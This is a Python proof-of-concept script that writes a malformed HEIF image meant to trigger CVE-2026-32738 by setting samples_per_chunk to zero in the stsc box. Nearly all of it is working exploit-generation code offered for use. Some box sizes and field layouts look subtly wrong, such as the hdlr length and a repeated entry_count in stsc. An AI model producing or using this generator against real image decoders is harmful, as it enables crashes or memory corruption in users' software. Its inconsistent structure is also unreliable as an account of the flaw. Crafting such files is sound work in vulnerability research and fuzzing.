import struct
import os
def create_malicious_heif(filename):
"""
Generates a crafted HEIF file to trigger CVE-2026-32738.
The file contains a stsc box with samples_per_chunk = 0.
"""
with open(filename, 'wb') as f:
# 1. ftyp box (File Type)
ftyp_data = struct.pack('>I4s4sI', 32, b'ftyp', b'heic', 0) + b'mif1'
f.write(ftyp_data)
# 2. moov box structure
moov_start = f.tell()
f.write(struct.pack('>I', 0)) # Size placeholder
f.write(b'moov')
# mvhd (Movie Header)
mvhd_data = struct.pack('>I4sIIIIIIIIIIII', 108, b'mvhd', 0, 0, 0, 0, 1000, 0, 0, 0, 0, 0x00010000, 0, 0, 0, 0) + (b'\x00' * 60)
f.write(mvhd_data)
# trak (Track)
trak_start = f.tell()
f.write(struct.pack('>I', 0))
f.write(b'trak')
# tkhd (Track Header)
tkhd_data = struct.pack('>I4sIIIIIIIIIIII', 92, b'tkhd', 0, 0, 0, 1, 0, 0, 0, 0, 0, 0x00010000, 0, 0, 0, 0) + (b'\x00' * 48)
f.write(tkhd_data)
# mdia (Media)
mdia_start = f.tell()
f.write(struct.pack('>I', 0))
f.write(b'mdia')
# mdhd (Media Header)
mdhd_data = struct.pack('>I4sIIIII', 32, b'mdhd', 0, 0, 90000, 0, 0x55c40000)
f.write(mdhd_data)
# hdlr (Handler Reference)
hdlr_data = struct.pack('>I4sI4sIIII', 43, b'hdlr', 0, b'vide', 0, 0, 0, 0) + b'VideoHandler' + b'\x00'
f.write(hdlr_data)
# minf (Media Information)
minf_start = f.tell()
f.write(struct.pack('>I', 0))
f.write(b'minf')
# vmhd (Video Media Header)
vmhd_data = struct.pack('>I4sHHH', 20, b'vmhd', 0, 0, 0)
f.write(vmhd_data)
# dinf (Data Information)
f.write(struct.pack('>I', 36))
f.write(b'dinf')
dref_data = struct.pack('>I4sII', 28, b'dref', 0, 1) + struct.pack('>I4sI', 12, b'url ', 0x01)
f.write(dref_data)
# stbl (Sample Table)
stbl_start = f.tell()
f.write(struct.pack('>I', 0))
f.write(b'stbl')
# stsd (Sample Description) - Minimal hvc1
stsd_entry = b'hvc1' + struct.pack('>I', 0) + (b'\x00' * 86)
stsd_data = struct.pack('>I4sI', 16 + len(stsd_entry), b'stsd', 0) + struct.pack('>I', len(stsd_entry)) + stsd_entry
f.write(stsd_data)
# stts (Time-to-Sample)
stts_data = struct.pack('>I4sII', 16, b'stts', 0, 0)
f.write(stts_data)
# stsc (Sample-to-Chunk) - VULNERABILITY TRIGGER
# struct: entry_count(1), first_chunk(1), samples_per_chunk(0), sample_description_index(1)
stsc_payload = struct.pack('>IIII', 1, 1, 0, 1)
stsc_data = struct.pack('>I4sII', 16 + len(stsc_payload), b'stsc', 0, 1) + stsc_payload
f.write(stsc_data)
# stsz (Sample Size)
stsz_data = struct.pack('>I4sIII', 20, b'stsz', 0, 0, 0)
f.write(stsz_data)
# stco (Chunk Offset)
stco_data = struct.pack('>I4sII', 16, b'stco', 0, 0)
f.write(stco_data)
# Update container sizes
current_pos = f.tell()
f.seek(stbl_start); f.write(struct.pack('>I', current_pos - stbl_start))
f.seek(minf_start); f.write(struct.pack('>I', current_pos - minf_start))
f.seek(mdia_start); f.write(struct.pack('>I', current_pos - mdia_start))
f.seek(trak_start); f.write(struct.pack('>I', current_pos - trak_start))
f.seek(moov_start); f.write(struct.pack('>I', current_pos - moov_start))
create_malicious_heif('CVE-2026-32738_POC.heif')
print('PoC file generated: CVE-2026-32738_POC.heif')